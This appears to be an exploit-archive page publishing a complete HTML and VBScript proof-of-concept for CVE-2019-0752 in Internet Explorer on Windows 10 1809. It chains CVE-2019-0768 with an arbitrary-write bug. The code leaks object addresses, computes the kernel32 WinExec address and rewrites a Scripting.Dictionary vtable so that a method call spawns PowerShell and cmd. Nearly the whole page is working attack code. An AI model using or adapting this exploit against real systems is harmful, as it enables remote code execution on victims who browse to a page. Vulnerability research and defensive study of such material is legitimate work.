Microsoft Internet Explorer Windows 10 1809 17763.316 Memory Corruption

Related Vulnerabilities: CVE-2019-0752   CVE-2019-0768  
Publish Date: 24 May 2019
                							

                <!-- Full exploit of ZDI-19-359/ZDI-CAN-7757/CVE-2019-0752                                      -->
<!-- Target: Internet Explorer, Windows 10 1809 17763.316 (Feb. 2019 patch level)               -->
<!-- Vulnerability and original exploit technique by Simon Zuckerbraun (@HexKitchen), Mar. 2019 -->

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<!-- Demonstrates taking an arbitrary write primitive with no info leak, and using it to get    -->
<!-- all the way to RCE using no shellcode.                                                     -->

<!-- Note use of CVE-2019-0768 to get VBScript to run on IE/Win10.                              -->
<!--    (h/t: James Forshaw, Google Project Zero)                                               -->

<html>
<meta http-equiv="x-ua-compatible" content="IE=8">
<meta http-equiv="Expires" content="-1">
<body>
  <div id="container1" style="overflow:scroll; width: 10px">
    <div id="content1" style="width:5000000px">
      Content
    </div>
  </div>
<script language="VBScript.Encode">
Dim ar1(&h3000000)
Dim ar2(1000)
Dim gremlin
addressOfGremlin = &h28281000
Class MyClass
  Private mValue
  Public Property Let Value(v)
    mValue = v
  End Property
  Public Default Property Get P
    P = mValue        ' Where to write
  End Property
End Class
Sub TriggerWrite(where, val)
  Dim v1
  Set v1 = document.getElementById("container1")
  v1.scrollLeft = val    ' Write this value (Maximum: 0x001767dd)
  Dim c
  Set c = new MyClass
  c.Value = where
  Set v1.scrollLeft = c
End Sub
' Our vulnerability does not immediately give us an unrestricted
' write (though we could manufacture one). For our purposes, the
' following is sufficient. It writes an arbitrary DWORD to an
' arbitrary location, and sets the subsequent 3 bytes to zero.
Sub WriteInt32With3ByteZeroTrailer(addr, val)
  TriggerWrite addr    , (val) AND &hff
  TriggerWrite addr + 1, (val\&h100) AND &hff
  TriggerWrite addr + 2, (val\&h10000) AND &hff
  TriggerWrite addr + 3, (val\&h1000000) AND &hff
End Sub
Sub WriteAsciiStringWith4ByteZeroTrailer(addr, str)
  For i = 0 To Len(str) - 1
    TriggerWrite addr + i, Asc(Mid(str, i + 1, 1))
  Next
End Sub
Function ReadInt32(addr)
  WriteInt32With3ByteZeroTrailer addressOfGremlin + &h8, addr
  ReadInt32 = ar1(gremlin)
End Function
Function LeakAddressOfObject(obj)
  Set ar1(gremlin + 1) = obj
  LeakAddressOfObject = ReadInt32(addressOfGremlin + &h18)
End Function
Sub Exploit()
  ' Corrupt vt of one array element (the "gremlin")
  TriggerWrite addressOfGremlin, &h4003  ' VT_BYREF | VT_I4
  For i = ((addressOfGremlin - &h20) / &h10) Mod &h100 To UBound(ar1) Step &h100
    If Not IsEmpty(ar1(i)) Then
      gremlin = i
      Exit For
    End If
  Next
  
  If IsEmpty(gremlin) Then
    MsgBox "Could not find gremlin"
    Exit Sub
  End If
  
  For i = 0 To UBound(ar2)
    Set ar2(i) = CreateObject("Scripting.Dictionary")
  Next
  
  Set dict = ar2(UBound(ar2) / 2)
  addressOfDict = LeakAddressOfObject(dict)
  vtableOfDict = ReadInt32(addressOfDict)
  scrrun = vtableOfDict - &h11fc
  kernel32 = ReadInt32(scrrun + &h1f1a4) - &h23c90
  winExec = kernel32 + &h5d380
  
  dict.Exists "dummy"    ' Make a dispatch call, just to populate pld
  ' Relocate pld to ensure its address doesn't contain a null byte
  pld = ReadInt32(addressOfDict + &h3c)
  fakePld = &h28281020
  For i = 0 To 3 - 1
    WriteInt32With3ByteZeroTrailer fakePld + 4 * i, ReadInt32(pld + 4 * i)
  Next
  
  fakeVtable = &h28282828    ' ASCII "(((("
  For i = 0 To 21
    If i = 12 Then    ' Dictionary.Exists
      fptr = winExec
    Else
      fptr = ReadInt32(vtableOfDict + 4 * i)
    End If
    WriteInt32With3ByteZeroTrailer (fakeVtable + 4 * i), fptr
  Next
  
  WriteAsciiStringWith4ByteZeroTrailer addressOfDict, "((((\..\PowerShell.ewe -Command ""<#AAAAAAAAAAAAAAAAAAAAAAAAA"
  WriteInt32With3ByteZeroTrailer addressOfDict + &h3c, fakePld
  WriteAsciiStringWith4ByteZeroTrailer addressOfDict + &h40, "#>$a = """"Start-Process cmd `""""""/t:4f /k whoami /user`"""""""""""" ; Invoke-Command -ScriptBlock ([Scriptblock]::Create($a))"""
  
  On Error Resume Next
  dict.Exists "dummy"    ' Wheeee!!
  
  ' A little cleanup to help prevent crashes after the exploit
  For i = 1 To 3
    WriteInt32With3ByteZeroTrailer addressOfDict + &h48 * i, vtableOfDict
    WriteInt32With3ByteZeroTrailer addressOfDict + (&h48 * i) + &h14, 2
  Next
  Erase Dict
  Erase ar2
End Sub
Exploit
</script>
</body>
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